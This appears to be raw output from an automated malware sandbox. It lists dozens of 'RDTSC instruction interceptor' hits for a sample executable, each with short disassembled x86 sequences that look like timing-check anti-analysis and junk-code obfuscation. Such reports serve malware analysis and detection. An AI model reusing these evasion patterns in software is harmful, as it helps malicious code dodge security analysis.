Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CF6D second address: F1CF88 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF8BD1A4C7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FF8BD1A4C76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CF88 second address: F1CF8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CF8E second address: F1CF93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D33B second address: F1D3BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C846h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF8BCD7C838h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D3035h], edx 0x0000002c mov cx, dx 0x0000002f push 0000001Eh 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007FF8BCD7C838h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b mov di, E69Fh 0x0000004f jns 00007FF8BCD7C836h 0x00000055 nop 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D3BA second address: F1D3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D3BE second address: F1D3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F58834 second address: F5884C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C84h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F58EBE second address: F58EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F59008 second address: F59020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FF8BD1A4C83h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F59020 second address: F59062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FF8BCD7C848h 0x0000000a jo 00007FF8BCD7C836h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8BCD7C849h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F59062 second address: F59066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5B834 second address: F5B838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5B838 second address: F5B854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF8BD1A4C80h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5B854 second address: F5B872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF8BCD7C848h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5E2F8 second address: F5E32C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8BD1A4C82h 0x0000000e popad 0x0000000f push ecx 0x00000010 jp 00007FF8BD1A4C78h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5E32C second address: F5E330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F651E9 second address: F65219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jg 00007FF8BD1A4C88h 0x0000000f push eax 0x00000010 jne 00007FF8BD1A4C76h 0x00000016 pop eax 0x00000017 popad 0x00000018 push edx 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F65219 second address: F65245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8BCD7C845h 0x0000000c jmp 00007FF8BCD7C840h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F65245 second address: F6524B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F64DD0 second address: F64DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F671F9 second address: F67216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8BD1A4C86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6DB70 second address: F6DB75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6DB75 second address: F6DB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C7Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C50A second address: F6C543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jns 00007FF8BCD7C836h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8BCD7C83Eh 0x00000019 jmp 00007FF8BCD7C847h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C543 second address: F6C547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C6AF second address: F6C6B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C6B9 second address: F6C6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF8BD1A4C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C6C3 second address: F6C6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C6C7 second address: F6C6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF8BD1A4C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6C6D3 second address: F6C6EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C848h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6CB00 second address: F6CB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FF8BD1A4C76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6CB0F second address: F6CB15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6CB15 second address: F6CB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D14D second address: F1D158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8BCD7C836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D158 second address: F1D184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d and ecx, dword ptr [ebp+122D28FFh] 0x00000013 mov ebx, dword ptr [ebp+124782E7h] 0x00000019 mov ecx, dword ptr [ebp+122D28EFh] 0x0000001f add eax, ebx 0x00000021 mov cl, C5h 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edi 0x00000028 pop edi 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1D184 second address: F1D206 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8BCD7C83Ch 0x00000008 js 00007FF8BCD7C836h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FF8BCD7C844h 0x00000018 jp 00007FF8BCD7C836h 0x0000001e popad 0x0000001f pushad 0x00000020 jng 00007FF8BCD7C836h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 popad 0x0000002a nop 0x0000002b mov ch, 28h 0x0000002d push 00000004h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FF8BCD7C838h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 nop 0x0000004a jmp 00007FF8BCD7C840h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FF8BCD7C840h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F6CDD3 second address: F6CDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71017 second address: F71021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71021 second address: F71025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71025 second address: F7102B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7102B second address: F71031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71031 second address: F71035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71035 second address: F71059 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71059 second address: F7105D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7144E second address: F71454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F71454 second address: F7145A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7145A second address: F7145E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7145E second address: F71462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F74D49 second address: F74D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F74D4D second address: F74D57 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8BCD7C83Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F74FF2 second address: F74FFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F74FFA second address: F7501C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BCD7C83Eh 0x00000008 jmp 00007FF8BCD7C83Ch 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7501C second address: F75022 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7C84E second address: F7C877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FF8BCD7C844h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7C877 second address: F7C881 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8BD1A4C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7A87B second address: F7A881 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7A9F3 second address: F7AA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7AA0B second address: F7AA25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7AB62 second address: F7AB89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jc 00007FF8BD1A4CA0h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8BD1A4C88h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7AB89 second address: F7AB8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7AB8D second address: F7AB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7AE41 second address: F7AE45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7B3AC second address: F7B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7B65C second address: F7B662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7B662 second address: F7B666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7B666 second address: F7B673 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7B673 second address: F7B693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007FF8BD1A4C88h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7BC43 second address: F7BC6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FF8BCD7C836h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7BC6A second address: F7BC87 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8BD1A4C76h 0x00000008 jmp 00007FF8BD1A4C83h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7BC87 second address: F7BC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7BC8D second address: F7BC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F7C247 second address: F7C26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FF8BCD7C838h 0x0000000e jnl 00007FF8BCD7C847h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F85913 second address: F8594B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BD1A4C7Fh 0x00000008 jg 00007FF8BD1A4C76h 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FF8BD1A4C7Ah 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jo 00007FF8BD1A4C76h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8594B second address: F8594F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8594F second address: F85961 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8BD1A4C76h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F84F09 second address: F84F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BCD7C83Bh 0x00000009 popad 0x0000000a pop edi 0x0000000b jng 00007FF8BCD7C854h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F85217 second address: F8521F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8521F second address: F85235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FF8BCD7C83Dh 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8537E second address: F8539A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8539A second address: F8539E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8539E second address: F853B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FF8BD1A4C82h 0x0000000e jng 00007FF8BD1A4C76h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8C211 second address: F8C231 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FF8BCD7C83Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jp 00007FF8BCD7C84Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8C873 second address: F8C885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF8BD1A4C76h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8C885 second address: F8C88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CB9B second address: F8CB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CD0B second address: F8CD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CD19 second address: F8CD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CFD1 second address: F8CFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F8CFDA second address: F8CFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
